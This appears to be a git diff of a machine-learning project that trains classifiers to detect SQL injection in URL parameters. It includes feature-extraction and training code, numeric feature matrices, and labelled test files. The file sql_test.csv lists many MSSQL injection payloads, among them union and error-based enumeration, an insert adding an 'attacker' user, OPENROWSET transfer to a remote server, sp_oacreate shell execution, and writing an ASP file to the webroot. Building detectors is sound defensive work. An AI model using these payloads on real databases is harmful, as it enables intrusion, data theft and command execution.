28.0,0.0,0.0,0.0,0.035713999999999996,0.035713999999999996,0.0,1.0
|
||||||
|
64.0,0.0,0.015625,0.03125,0.125,0.015625,0.0,1.0
|
||||||
|
62.0,0.0,0.0,0.112903,0.032257999999999995,0.0,0.0,1.0
|
||||||
|
29.0,0.0,0.0,0.0,0.172414,0.0,0.034483,1.0
|
||||||
|
43.0,0.0,0.0,0.023256,0.09302300000000001,0.023256,0.0,1.0
|
||||||
|
107.0,0.0,0.0,0.018692,0.130841,0.037383,0.0,1.0
|
||||||
|
48.0,0.0,0.0,0.083333,0.145833,0.020833,0.0,1.0
|
||||||
|
109.0,0.0,0.165138,0.045872,0.10091699999999999,0.027523000000000002,0.0,1.0
|
||||||
|
22.0,0.0,0.090909,0.090909,0.0,0.0,0.0,1.0
|
||||||
|
142.0,0.0,0.197183,0.119718,0.06337999999999999,0.028169,0.0,1.0
|
||||||
|
26.0,0.0,0.153846,0.0,0.0,0.0,0.0,1.0
|
||||||
|
124.0,0.0,0.225806,0.120968,0.048387,0.032257999999999995,0.0,1.0
|
||||||
|
52.0,0.0,0.307692,0.038462,0.038462,0.019231,0.0,1.0
|
||||||
|
52.0,0.0,0.0,0.0,0.076923,0.0,0.0,1.0
|
||||||
|
39.0,0.0,0.0,0.05128200000000001,0.153846,0.0,0.0,1.0
|
||||||
|
68.0,0.0,0.014706,0.029412,0.147059,0.0,0.0,1.0
|
||||||
|
49.0,0.0,0.0,0.081633,0.10204099999999999,0.0,0.0,1.0
|
||||||
|
55.0,0.0,0.0,0.0,0.072727,0.0,0.0,1.0
|
||||||
|
40.0,0.0,0.0,0.075,0.15,0.0,0.0,1.0
|
||||||
|
109.0,0.0,0.027523000000000002,0.055046000000000005,0.15596300000000002,0.018349,0.0,1.0
|
||||||
|
93.0,0.0,0.11828,0.032257999999999995,0.075269,0.010753,0.0,1.0
|
||||||
|
52.0,0.0,0.173077,0.019231,0.076923,0.019231,0.0,1.0
|
||||||
|
55.0,0.0,0.163636,0.036364,0.10909100000000001,0.018182,0.0,1.0
|
||||||
|
45.0,0.0,0.0,0.0,0.088889,0.0,0.0,1.0
|
||||||
|
50.0,0.0,0.08,0.0,0.1,0.0,0.0,1.0
|
||||||
|
115.0,0.0,0.034783,0.0,0.12173900000000001,0.0,0.0,1.0
|
||||||
|
40.0,0.0,0.0,0.0,0.2,0.0,0.0,1.0
|
||||||
|
27.0,0.0,0.0,0.148148,0.074074,0.0,0.0,1.0
|
||||||
|
58.0,0.0,0.0,0.0,0.068966,0.0,0.0,1.0
|
||||||
|
64.0,0.0,0.0,0.015625,0.109375,0.0,0.0,1.0
|
||||||
|
54.0,0.0,0.0,0.0,0.12963,0.018519,0.0,1.0
|
||||||
|
58.0,0.0,0.0,0.0,0.068966,0.0,0.0,1.0
|
||||||
|
81.0,0.0,0.0,0.012346,0.08642000000000001,0.0,0.0,1.0
|
||||||
|
51.0,0.0,0.078431,0.0,0.117647,0.019608,0.0,1.0
|
||||||
|
48.0,0.0,0.0,0.0,0.083333,0.0,0.0,1.0
|
||||||
|
52.0,0.0,0.076923,0.0,0.11538499999999999,0.0,0.0,1.0
|
||||||
|
43.0,0.0,0.0,0.069767,0.09302300000000001,0.0,0.0,1.0
|
||||||
|
108.0,0.0,0.037037,0.083333,0.12963,0.0,0.0,1.0
|
||||||
|
284.0,0.0,0.028169,0.042254,0.137324,0.0,0.0,1.0
|
||||||
|
9.0,0.0,0.0,0.333333,0.0,0.11111099999999999,0.0,1.0
|
||||||
|
27.0,0.0,0.074074,0.22222199999999998,0.0,0.0,0.0,1.0
|
||||||
|
14.0,0.0,0.0,0.14285699999999998,0.14285699999999998,0.07142899999999999,0.0,1.0
|
||||||
|
6.0,0.0,0.333333,0.333333,0.166667,0.166667,0.0,1.0
|
||||||
|
17.0,0.0,0.470588,0.235294,0.17647100000000002,0.117647,0.0,1.0
|
||||||
|
12.0,0.0,0.583333,0.083333,0.166667,0.0,0.0,1.0
|
||||||
|
83.0,0.0,0.40963900000000003,0.24096399999999998,0.13253,0.024096,0.0,1.0
|
||||||
|
0.0,0.0,0.40963900000000003,0.24096399999999998,0.13253,0.024096,0.0,1.0
|
||||||
|
81.0,0.0,0.061728,0.493827,0.0,0.0,0.08642000000000001,0.0
|
||||||
|
38.0,0.0,0.052632000000000005,0.605263,0.0,0.0,0.078947,0.0
|
||||||
|
495.0,0.0,0.367677,0.20202,0.0,0.0,0.018182,0.0
|
||||||
|
18.0,0.0,0.055555999999999994,0.833333,0.0,0.0,0.055555999999999994,0.0
|
||||||
|
12.0,0.0,0.083333,0.75,0.0,0.0,0.083333,0.0
|
||||||
|
22.0,0.0,0.318182,0.590909,0.0,0.0,0.090909,0.0
|
||||||
|
318.0,0.0,0.075472,0.41509399999999996,0.0,0.0,0.10691800000000001,0.0
|
||||||
|
108.0,0.0,0.083333,0.583333,0.0,0.0,0.083333,0.0
|
||||||
|
35.0,0.0,0.05714299999999999,0.657143,0.0,0.0,0.085714,0.0
|
||||||
|
48.0,0.0,0.083333,0.375,0.0,0.0,0.083333,0.0
|
||||||
|
94.0,0.0,0.265957,0.56383,0.0,0.0,0.10638299999999999,0.0
|
||||||
|
39.0,0.0,0.025641000000000004,0.230769,0.0,0.0,0.025641000000000004,0.0
|
||||||
|
33.0,0.0,0.151515,0.515152,0.0,0.0,0.090909,0.0
|
||||||
|
591.0,0.0,0.115059,0.407783,0.0,0.0033840000000000003,0.101523,0.0
|
||||||
|
273.0,0.0,0.07326,0.479853,0.0,0.0,0.12820499999999999,0.0
|
||||||
|
964.0,0.0,0.060166,0.40975100000000003,0.0,0.0,0.099585,0.0
|
||||||
|
358.0,0.0,0.083799,0.550279,0.002793,0.0,0.106145,0.0
|
||||||
|
524.0,0.0,0.188931,0.35686999999999997,0.0,0.0,0.177481,0.0
|
||||||
|
119.0,0.0,0.294118,0.218487,0.0,0.0,0.159664,0.0
|
||||||
|
5000
ML_for_SQL/data/nor_matrix.csv
Normal file
5000
ML_for_SQL/data/nor_matrix.csv
Normal file
File diff suppressed because it is too large
Load Diff
5000
ML_for_SQL/data/normal_less.csv
Normal file
5000
ML_for_SQL/data/normal_less.csv
Normal file
File diff suppressed because it is too large
Load Diff
20
ML_for_SQL/data/normal_test.csv
Normal file
20
ML_for_SQL/data/normal_test.csv
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
_%3D1498591621808
|
||||||
|
code%3Dzs_000001%2Czs_399001%2Czs_399006%26cb%3Dfortune_hq_cn%26_%3D1498591852632
|
||||||
|
_%3D1498591951848%26list%3Dml_sh600030
|
||||||
|
6053%26ri%3Dzb6-00f%7E-04gUry-01h-0RC%26tn%3D1%26en%3D4L9RATiSWJ84cSXYcX1d2pqRNDaJDyf4dP2hUCLUFiZhTaWU7eK5dl5slq5E7SVvDi63oAKGfcJUNiy27jClo3XeVPICvXbMtyQIUjoFYYlnKQp0XlF0M2zO7d7ub-vumAdasuEscaZLfT5w2tfIKsHlHIn49b0u1Af1JUmZeCeIVpuTgEmDmxYz9GkgA-CCk-qVMZ-V2AfzTEe7HCLcljdw1NcVt-H26P2-dz8IEEj3n9DdQGwpErgkGR6SSbaJpPQu0IgaWmPZEZu-umlvd0urhn88rdu9-Dmn4hYWD2T-menxBL9BSplyy74mnP_4DZXvZ4Ggf4n-k6WXtWPDQYekUxo6XItLiBIOTt5znJ4l9AfspnGY604PtLC0WKwyjqwq27Z4zR9JZsSXxngF9UJFi9JrCW_yldU07E3r3q9LuHrEoy8%3E%3E
|
||||||
|
b1498592370545%3D1
|
||||||
|
v%3D13111002
|
||||||
|
COLLCC%3D3442798258%26
|
||||||
|
t%3Dcheck%26rec%3Dstratus%26etyp%3Dconnect%26zone%3Dzibo5_cnc%26url%3D119.188.143.32%26errCnt%3D327%26uid%3Dd0a47beafc75e1549c7fdc23530fd959%26uif%3DCNC%7CBeiJing-114.251.186.13%26tvid%3D7706069409%26defi%3D2%26dlod%3D1%26darea%3D1%26ppapi%3Dfalse%26trkip%3D119.188.143.32%26trkon%3D0%26ver%3D3.1.0.15%26dur%3D36431783
|
||||||
|
cn_600022%2Ccn_600516%2Ccn_000002%2Ccn_600519%2Ccn_000651%2Ccn_600887%2Ccn_002415%2Ccn_601288%2Ccn_000333%2C
|
||||||
|
_%3D1498179095094%26list%3Dsh600030
|
||||||
|
q%3DmarketStat%2Cstdunixtime%26_%3D1498584939540
|
||||||
|
_%3D1498584888937/%26list%3DFU1804%2CFU0%2CFU1707%2CFU1708%2CFU1709%2CFU1710%2CFU1711%2CFU1712
|
||||||
|
callback%3D_ntes_quote_callback54388229
|
||||||
|
_%3D1498552987540%26list%3Dhf_OIL
|
||||||
|
prod%3D56%26systype%3D0%26cid%3D4%26log%3Dact%26from%3D3%263th%3D0%26adTime%3D0%26adType%3Dswf%26dmpt%3Dpad%26po%3Db%26adUrl%3Dhttp%3A//images.sohu.com/ytv/BJ/BJSC/400300201512181625132.swf%26type%3D1%26du%3D500%26al%3D-4%26out%3D0%26au%3D1%26vid%3D130369828%26qd%3Dabbdd136abdb8172%26rt%3D5fd0898fd5ebcf4096145bd7eb4f0bd5%26uv%3D14985797034557443254%26uuid%3D39f371e0-c882-9cdd-fdd7-ea98faf2f9e3%26vt%3D56flash%26rd%3Dwww.56.com%26isIf%3D0%26suv%3D1706280006344804%26uid%3D14985797034557443254%26scookie%3D2%26bad%3D3%26sign%3DTA3ccJAWUeypt831iciWkCbZaSRfhUcmDUDcQDBQDj_tpUXIMgFg-X4ku%3E%3E
|
||||||
|
tu%3Du1889066%26op%3D1%26jk%3Da014e4716ffd54c4%26word%3Dhttp%3A//www.39yst.com/tieshi/yinshi/481666_2.shtml%26if%3D0%26aw%3D670%26ah%3D90%26pt%3D20500%26it%3D0%26vt%3D0%26csp%3D1024%2C738%26bcl%3D1007%2C624%26pof%3D1007%2C4516%26top%3D3776%26left%3D14%26rdm%3D1498585089587
|
||||||
|
flag%3Dplyract%26plyract%3Dtiming%26prgr%3D75%26lostfrm%3D13%26lostfrmsec%3D1%26tl%3D60%26src%3D%26purl%3Dhttp%3A//www.iqiyi.com/v_19rr7sryv0.html%23curid%3D710171500_9128e16fccd25dd00ca053a1da504df3%26rfr%3Dhttp%3A//www.iqiyi.com/a_19rrhalt31.html%26lrfr%3Dhttps%3A//www.2345.com/%3Fkbox73713266%26aid%3D203965201%26tvid%3D710171500%26vid%3D284da491e1954fe385336e0054af677f%26cid%3D10%26lev%3D96%26puid%3D%26pru%3D%26veid%3D0f37150b10b8d342bb591c2611b35b41%26weid%3D32c87fb9fc3345fec7cace29952f950d%26newusr%3D0%26pla%3D11%26visits%3D%26sttntp%3D0%26plyrtp%3D0%26plyrver%3D3.3.12.22%26z%3Dqingdao4_cmnet%26suid%3D3911317fef78e8c179aef11a83c22c15%26diaoduuip%3DCMNET%7CBeiJing-218.205.147.2%26plid%3D%26vvfrom%3D%26vfrm%3D10-2-0-1%26vfm%3D%26restp%3D2%26ispur%3D0%26as%3D0ffa7999c6c7c070df03efccc58a6ec3%26qdv%3D2%26bstp%3D6%26isdm%3D0%26isstar%3D0%26hu%3D%26mod%3Dcn_s%26videotp%3D0%26stime%3D1498585048072%26server_ip%3D120.221.22.137%26tn%3D0.021188411861658096
|
||||||
|
s%3D1498585170292%26y%3Dqc_100001_100015%26e%3D1c37a278a281ec7359f4b0a8e75afe92%26g%3D0%26rd%3D2052%26ps%3D0%26h%3D0%26rc%3D1%26c%3D10%26b%3D203965201%26d%3D71%26a%3D16b34fd092c694bc28eebd634829bc83%26l%3DMTA2LjM3LjIwNC4y%26p%3Ds%26av%3DAdManager%204.0.9%26rid%3Df15a9d21816f582f28fa242f983226dd%26vv%3D5.3.2.67%26t%3Ds%26u%3D3911317fef78e8c179aef11a83c22c15
|
||||||
|
t%3D1498533566250%26rst%3Dswf%2Cimg%26ct%3Dd%26cs%3D2074%26td%3D%26s%3D310736%26v%3D710297211%26u%3D1154411548%26k%3D%E5%86%9B%E5%B8%88%E8%81%94%E7%9B%9F%7C%26paid%3D1%26tt%3D%E5%A4%A7%E5%86%9B%E5%B8%88%E5%8F%B8%E9%A9%AC%E6%87%BF%E4%B9%8B%E5%86%9B%E5%B8%88%E8%81%94%E7%9B%9F%2B10%26pu%3Dhttp%3A//v.youku.com/v_show/id_XMjg0MTE4ODg0NA%3D%3D.html%3Ffrom%3Dy1.2-2.2%26ref%3Dhttp%3A//v.youku.com/v_show/id_XMjg0MTExNDMwNA%3D%3D.html%3Fspm%3Da2h0j.8191423.item_XMjg0MTExNDMwNA%3D%3D.A%26sid%3D1bjjov5pb2l1k%26p%3D323%26_%3D%3E%3E
|
||||||
|
type%3DgetUserSetCarIcon%26carId%3D460018499102909%26direction%3D%EF%BF%BD%EF%BF%BD%EF%BF%BD%EF%BF%BD%26carIconType%3D0
|
||||||
|
20
ML_for_SQL/data/nortest_matrix.csv
Normal file
20
ML_for_SQL/data/nortest_matrix.csv
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
17.000000,0.000000,0.058824,0.823529,0.000000,0.000000,0.058824,0.000000
|
||||||
|
81.000000,0.000000,0.061728,0.493827,0.000000,0.000000,0.086420,0.000000
|
||||||
|
38.000000,0.000000,0.052632,0.605263,0.000000,0.000000,0.078947,0.000000
|
||||||
|
495.000000,0.000000,0.367677,0.202020,0.000000,0.000000,0.018182,0.000000
|
||||||
|
18.000000,0.000000,0.055556,0.833333,0.000000,0.000000,0.055556,0.000000
|
||||||
|
12.000000,0.000000,0.083333,0.750000,0.000000,0.000000,0.083333,0.000000
|
||||||
|
22.000000,0.000000,0.318182,0.590909,0.000000,0.000000,0.090909,0.000000
|
||||||
|
318.000000,0.000000,0.075472,0.415094,0.000000,0.000000,0.106918,0.000000
|
||||||
|
108.000000,0.000000,0.083333,0.583333,0.000000,0.000000,0.083333,0.000000
|
||||||
|
35.000000,0.000000,0.057143,0.657143,0.000000,0.000000,0.085714,0.000000
|
||||||
|
48.000000,0.000000,0.083333,0.375000,0.000000,0.000000,0.083333,0.000000
|
||||||
|
94.000000,0.000000,0.265957,0.563830,0.000000,0.000000,0.106383,0.000000
|
||||||
|
39.000000,0.000000,0.025641,0.230769,0.000000,0.000000,0.025641,0.000000
|
||||||
|
33.000000,0.000000,0.151515,0.515152,0.000000,0.000000,0.090909,0.000000
|
||||||
|
591.000000,0.000000,0.115059,0.407783,0.000000,0.003384,0.101523,0.000000
|
||||||
|
273.000000,0.000000,0.073260,0.479853,0.000000,0.000000,0.128205,0.000000
|
||||||
|
964.000000,0.000000,0.060166,0.409751,0.000000,0.000000,0.099585,0.000000
|
||||||
|
358.000000,0.000000,0.083799,0.550279,0.002793,0.000000,0.106145,0.000000
|
||||||
|
524.000000,0.000000,0.188931,0.356870,0.000000,0.000000,0.177481,0.000000
|
||||||
|
119.000000,0.000000,0.294118,0.218487,0.000000,0.000000,0.159664,0.000000
|
||||||
|
4976
ML_for_SQL/data/sql_matrix.csv
Normal file
4976
ML_for_SQL/data/sql_matrix.csv
Normal file
File diff suppressed because it is too large
Load Diff
53
ML_for_SQL/data/sql_test.csv
Normal file
53
ML_for_SQL/data/sql_test.csv
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
; and 1=1 and 1=22.admin adminuser user pass password ..
|
||||||
|
and 0<>(select count(*) from *)
|
||||||
|
group by users.id having 1=1--
|
||||||
|
group by users.id, users.username, users.password, users.privs having 1=1--
|
||||||
|
; insert into users values( 666, attacker, foobar, 0xffff )--
|
||||||
|
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS Where TABLE_blank>_NAME=logintable-
|
||||||
|
and user_blank>_name()=dbo--
|
||||||
|
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U)
|
||||||
|
;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;--
|
||||||
|
:a or name like fff%;-- ffff。
|
||||||
|
and 1<>(select count(email) from [user]);--
|
||||||
|
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
|
||||||
|
id=152 and exists(select * from aaa where aaa>5)
|
||||||
|
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
|
||||||
|
table2_blank>table1。IP
|
||||||
|
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
|
||||||
|
HASH_blank>hashsysxlogins。
|
||||||
|
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins)
|
||||||
|
1and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin));--
|
||||||
|
;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
|
||||||
|
and 0<>(select top 1 paths from dirs)--
|
||||||
|
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
|
||||||
|
;create table dirs1(paths varchar(100), id int)--
|
||||||
|
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
|
||||||
|
and 0<>(select top 1 paths from dirs1)--
|
||||||
|
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
|
||||||
|
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 。
|
||||||
|
and 1=(select user_blank>_id from USER_blank>_LOGIN)
|
||||||
|
and 0=(select user from USER_blank>_LOGIN where user>1)
|
||||||
|
exec sp_blank>_oacreate wscript.shell, @o out
|
||||||
|
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
|
||||||
|
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
|
||||||
|
declare @o int, @f int, @t int, @ret int
|
||||||
|
declare @line varchar(8000)
|
||||||
|
exec sp_blank>_oacreate scripting.filesystemobject, @o out
|
||||||
|
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
|
||||||
|
exec @ret = sp_blank>_oamethod @f, readline, @line out
|
||||||
|
exec sp_blank>_oacreate scripting.filesystemobject, @o out
|
||||||
|
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
|
||||||
|
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
|
||||||
|
exec sp_blank>_oacreate speech.voicetext, @o out
|
||||||
|
exec sp_blank>_oamethod @o, register, NULL, foo, bar
|
||||||
|
exec sp_blank>_oasetproperty @o, speed, 150
|
||||||
|
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528waitfor delay 00:00:05
|
||||||
|
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
|
||||||
|
1+and+1=1
|
||||||
|
');waitFor+Delay+'00:00:05'
|
||||||
|
') or '1'='1--
|
||||||
|
OR 1=1
|
||||||
|
WHERE 1=1 AND 1=1
|
||||||
|
ORDER BY 1--
|
||||||
|
RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
|
||||||
|
|
||||||
|
4976
ML_for_SQL/data/sqlnew.csv
Normal file
4976
ML_for_SQL/data/sqlnew.csv
Normal file
File diff suppressed because it is too large
Load Diff
53
ML_for_SQL/data/sqltest_matrix.csv
Normal file
53
ML_for_SQL/data/sqltest_matrix.csv
Normal file
@@ -0,0 +1,53 @@
|
|||||||
|
56.000000,0.000000,0.000000,0.089286,0.160714,0.035714,0.000000,1.000000
|
||||||
|
31.000000,0.000000,0.000000,0.032258,0.129032,0.000000,0.000000,1.000000
|
||||||
|
30.000000,0.000000,0.000000,0.066667,0.133333,0.033333,0.000000,1.000000
|
||||||
|
75.000000,0.000000,0.000000,0.026667,0.093333,0.013333,0.000000,1.000000
|
||||||
|
61.000000,0.000000,0.000000,0.065574,0.147541,0.000000,0.000000,1.000000
|
||||||
|
112.000000,0.000000,0.508929,0.008929,0.071429,0.008929,0.000000,1.000000
|
||||||
|
28.000000,0.000000,0.000000,0.000000,0.035714,0.035714,0.000000,1.000000
|
||||||
|
64.000000,0.000000,0.015625,0.031250,0.125000,0.015625,0.000000,1.000000
|
||||||
|
62.000000,0.000000,0.000000,0.112903,0.032258,0.000000,0.000000,1.000000
|
||||||
|
29.000000,0.000000,0.000000,0.000000,0.172414,0.000000,0.034483,1.000000
|
||||||
|
43.000000,0.000000,0.000000,0.023256,0.093023,0.023256,0.000000,1.000000
|
||||||
|
107.000000,0.000000,0.000000,0.018692,0.130841,0.037383,0.000000,1.000000
|
||||||
|
48.000000,0.000000,0.000000,0.083333,0.145833,0.020833,0.000000,1.000000
|
||||||
|
109.000000,0.000000,0.165138,0.045872,0.100917,0.027523,0.000000,1.000000
|
||||||
|
22.000000,0.000000,0.090909,0.090909,0.000000,0.000000,0.000000,1.000000
|
||||||
|
142.000000,0.000000,0.197183,0.119718,0.063380,0.028169,0.000000,1.000000
|
||||||
|
26.000000,0.000000,0.153846,0.000000,0.000000,0.000000,0.000000,1.000000
|
||||||
|
124.000000,0.000000,0.225806,0.120968,0.048387,0.032258,0.000000,1.000000
|
||||||
|
52.000000,0.000000,0.307692,0.038462,0.038462,0.019231,0.000000,1.000000
|
||||||
|
52.000000,0.000000,0.000000,0.000000,0.076923,0.000000,0.000000,1.000000
|
||||||
|
39.000000,0.000000,0.000000,0.051282,0.153846,0.000000,0.000000,1.000000
|
||||||
|
68.000000,0.000000,0.014706,0.029412,0.147059,0.000000,0.000000,1.000000
|
||||||
|
49.000000,0.000000,0.000000,0.081633,0.102041,0.000000,0.000000,1.000000
|
||||||
|
55.000000,0.000000,0.000000,0.000000,0.072727,0.000000,0.000000,1.000000
|
||||||
|
40.000000,0.000000,0.000000,0.075000,0.150000,0.000000,0.000000,1.000000
|
||||||
|
109.000000,0.000000,0.027523,0.055046,0.155963,0.018349,0.000000,1.000000
|
||||||
|
93.000000,0.000000,0.118280,0.032258,0.075269,0.010753,0.000000,1.000000
|
||||||
|
52.000000,0.000000,0.173077,0.019231,0.076923,0.019231,0.000000,1.000000
|
||||||
|
55.000000,0.000000,0.163636,0.036364,0.109091,0.018182,0.000000,1.000000
|
||||||
|
45.000000,0.000000,0.000000,0.000000,0.088889,0.000000,0.000000,1.000000
|
||||||
|
50.000000,0.000000,0.080000,0.000000,0.100000,0.000000,0.000000,1.000000
|
||||||
|
115.000000,0.000000,0.034783,0.000000,0.121739,0.000000,0.000000,1.000000
|
||||||
|
40.000000,0.000000,0.000000,0.000000,0.200000,0.000000,0.000000,1.000000
|
||||||
|
27.000000,0.000000,0.000000,0.148148,0.074074,0.000000,0.000000,1.000000
|
||||||
|
58.000000,0.000000,0.000000,0.000000,0.068966,0.000000,0.000000,1.000000
|
||||||
|
64.000000,0.000000,0.000000,0.015625,0.109375,0.000000,0.000000,1.000000
|
||||||
|
54.000000,0.000000,0.000000,0.000000,0.129630,0.018519,0.000000,1.000000
|
||||||
|
58.000000,0.000000,0.000000,0.000000,0.068966,0.000000,0.000000,1.000000
|
||||||
|
81.000000,0.000000,0.000000,0.012346,0.086420,0.000000,0.000000,1.000000
|
||||||
|
51.000000,0.000000,0.078431,0.000000,0.117647,0.019608,0.000000,1.000000
|
||||||
|
48.000000,0.000000,0.000000,0.000000,0.083333,0.000000,0.000000,1.000000
|
||||||
|
52.000000,0.000000,0.076923,0.000000,0.115385,0.000000,0.000000,1.000000
|
||||||
|
43.000000,0.000000,0.000000,0.069767,0.093023,0.000000,0.000000,1.000000
|
||||||
|
108.000000,0.000000,0.037037,0.083333,0.129630,0.000000,0.000000,1.000000
|
||||||
|
284.000000,0.000000,0.028169,0.042254,0.137324,0.000000,0.000000,1.000000
|
||||||
|
9.000000,0.000000,0.000000,0.333333,0.000000,0.111111,0.000000,1.000000
|
||||||
|
27.000000,0.000000,0.074074,0.222222,0.000000,0.000000,0.000000,1.000000
|
||||||
|
14.000000,0.000000,0.000000,0.142857,0.142857,0.071429,0.000000,1.000000
|
||||||
|
6.000000,0.000000,0.333333,0.333333,0.166667,0.166667,0.000000,1.000000
|
||||||
|
17.000000,0.000000,0.470588,0.235294,0.176471,0.117647,0.000000,1.000000
|
||||||
|
12.000000,0.000000,0.583333,0.083333,0.166667,0.000000,0.000000,1.000000
|
||||||
|
83.000000,0.000000,0.409639,0.240964,0.132530,0.024096,0.000000,1.000000
|
||||||
|
0.000000,0.000000,0.409639,0.240964,0.132530,0.024096,0.000000,1.000000
|
||||||
|
38
ML_for_SQL/featurepossess.py
Normal file
38
ML_for_SQL/featurepossess.py
Normal file
@@ -0,0 +1,38 @@
|
|||||||
|
# -*- coding: UTF-8 -*-
|
||||||
|
import re
|
||||||
|
|
||||||
|
def generate(odir,wdir,label):
|
||||||
|
f_input=open(wdir, 'w')
|
||||||
|
with open(odir, 'rb') as f:
|
||||||
|
data = [x.decode('utf-8').strip() for x in f.readlines()]
|
||||||
|
#print(data)
|
||||||
|
line_number=0
|
||||||
|
|
||||||
|
for line in data:
|
||||||
|
global feature
|
||||||
|
num_len=0
|
||||||
|
capital_len=0
|
||||||
|
key_num=0
|
||||||
|
feature3=0
|
||||||
|
line_number=line_number+1
|
||||||
|
num_len=len(re.compile(r'\d').findall(line))
|
||||||
|
if len(line)!=0:
|
||||||
|
num_f=num_len/len(line)#数字字符频率
|
||||||
|
capital_len=len(re.compile(r'[A-Z]').findall(line))
|
||||||
|
if len(line)!=0:
|
||||||
|
capital_f=capital_len/len(line)#大写字母频率
|
||||||
|
line=line.lower()
|
||||||
|
|
||||||
|
key_num=line.count('and%20')+line.count('or%20')+line.count('xor%20')+line.count('sysobjects%20')+line.count('version%20')+line.count('substr%20')+line.count('len%20')+line.count('substring%20')+line.count('exists%20')
|
||||||
|
key_num=key_num+line.count('mid%20')+line.count('asc%20')+line.count('inner join%20')+line.count('xp_cmdshell%20')+line.count('version%20')+line.count('exec%20')+line.count('having%20')+line.count('unnion%20')+line.count('order%20')+line.count('information schema')
|
||||||
|
key_num=key_num+line.count('load_file%20')+line.count('load data infile%20')+line.count('into outfile%20')+line.count('into dumpfile%20')
|
||||||
|
if len(line)!=0:
|
||||||
|
space_f=(line.count(" ")+line.count("%20"))/len(line)#空格百分比
|
||||||
|
special_f=(line.count("{")*2+line.count('28%')*2+line.count('NULL')+line.count('[')+line.count('=')+line.count('?'))/len(line)
|
||||||
|
prefix_f=(line.count('\\x')+line.count('&')+line.count('\\u')+line.count('%'))/len(line)
|
||||||
|
#print('%f,%f,%f,%f,%f,%f,%f,%f' % (len(line),key_num,capital_f,num_f,space_f,special_f,prefix_f,label))
|
||||||
|
|
||||||
|
f_input.write('%f,%f,%f,%f,%f,%f,%f,%f' % (len(line),key_num,capital_f,num_f,space_f,special_f,prefix_f,label)+'\n')
|
||||||
|
|
||||||
|
f_input.close()
|
||||||
|
return wdir
|
||||||
BIN
ML_for_SQL/file/Adaboost.model
Normal file
BIN
ML_for_SQL/file/Adaboost.model
Normal file
Binary file not shown.
BIN
ML_for_SQL/file/GBDT.model
Normal file
BIN
ML_for_SQL/file/GBDT.model
Normal file
Binary file not shown.
BIN
ML_for_SQL/file/bys.model
Normal file
BIN
ML_for_SQL/file/bys.model
Normal file
Binary file not shown.
BIN
ML_for_SQL/file/forestrandom.model
Normal file
BIN
ML_for_SQL/file/forestrandom.model
Normal file
Binary file not shown.
BIN
ML_for_SQL/file/knn.model
Normal file
BIN
ML_for_SQL/file/knn.model
Normal file
Binary file not shown.
BIN
ML_for_SQL/file/lg.model
Normal file
BIN
ML_for_SQL/file/lg.model
Normal file
Binary file not shown.
BIN
ML_for_SQL/file/svm.model
Normal file
BIN
ML_for_SQL/file/svm.model
Normal file
Binary file not shown.
BIN
ML_for_SQL/file/tree.model
Normal file
BIN
ML_for_SQL/file/tree.model
Normal file
Binary file not shown.
45
ML_for_SQL/sqlbys.py
Normal file
45
ML_for_SQL/sqlbys.py
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
# -*- coding: utf-8 -*-
|
||||||
|
"""
|
||||||
|
Created on Mon Nov 20 19:06:57 2017
|
||||||
|
|
||||||
|
@author: wf
|
||||||
|
"""
|
||||||
|
import numpy as np
|
||||||
|
import pandas as pd
|
||||||
|
from sklearn import metrics
|
||||||
|
from sklearn.naive_bayes import GaussianNB
|
||||||
|
from sklearn.model_selection import train_test_split
|
||||||
|
from featurepossess import generate
|
||||||
|
from sklearn.externals import joblib
|
||||||
|
|
||||||
|
sql_matrix=generate("./data/sqlnew.csv","./data/sql_matrix.csv",1)
|
||||||
|
nor_matrix=generate("./data/normal_less.csv","./data/nor_matrix.csv",0)
|
||||||
|
|
||||||
|
df = pd.read_csv(sql_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False)
|
||||||
|
df = pd.read_csv( nor_matrix)
|
||||||
|
df.to_csv("./data/all_matrix.csv",encoding="utf_8_sig",index=False, header=False, mode='a+')
|
||||||
|
|
||||||
|
feature_max = pd.read_csv('./data/all_matrix.csv')
|
||||||
|
arr=feature_max.values
|
||||||
|
data = np.delete(arr, -1, axis=1) #删除最后一列
|
||||||
|
#print(arr)
|
||||||
|
target=arr[:,7]
|
||||||
|
#随机划分训练集和测试集
|
||||||
|
train_data,test_data,train_target,test_target = train_test_split(data,target,test_size=0.3,random_state=3)
|
||||||
|
#模型
|
||||||
|
clf=GaussianNB()#创建分类器对象，
|
||||||
|
clf.fit(train_data,train_target)#训练模型
|
||||||
|
joblib.dump(clf, './file/bys.model')
|
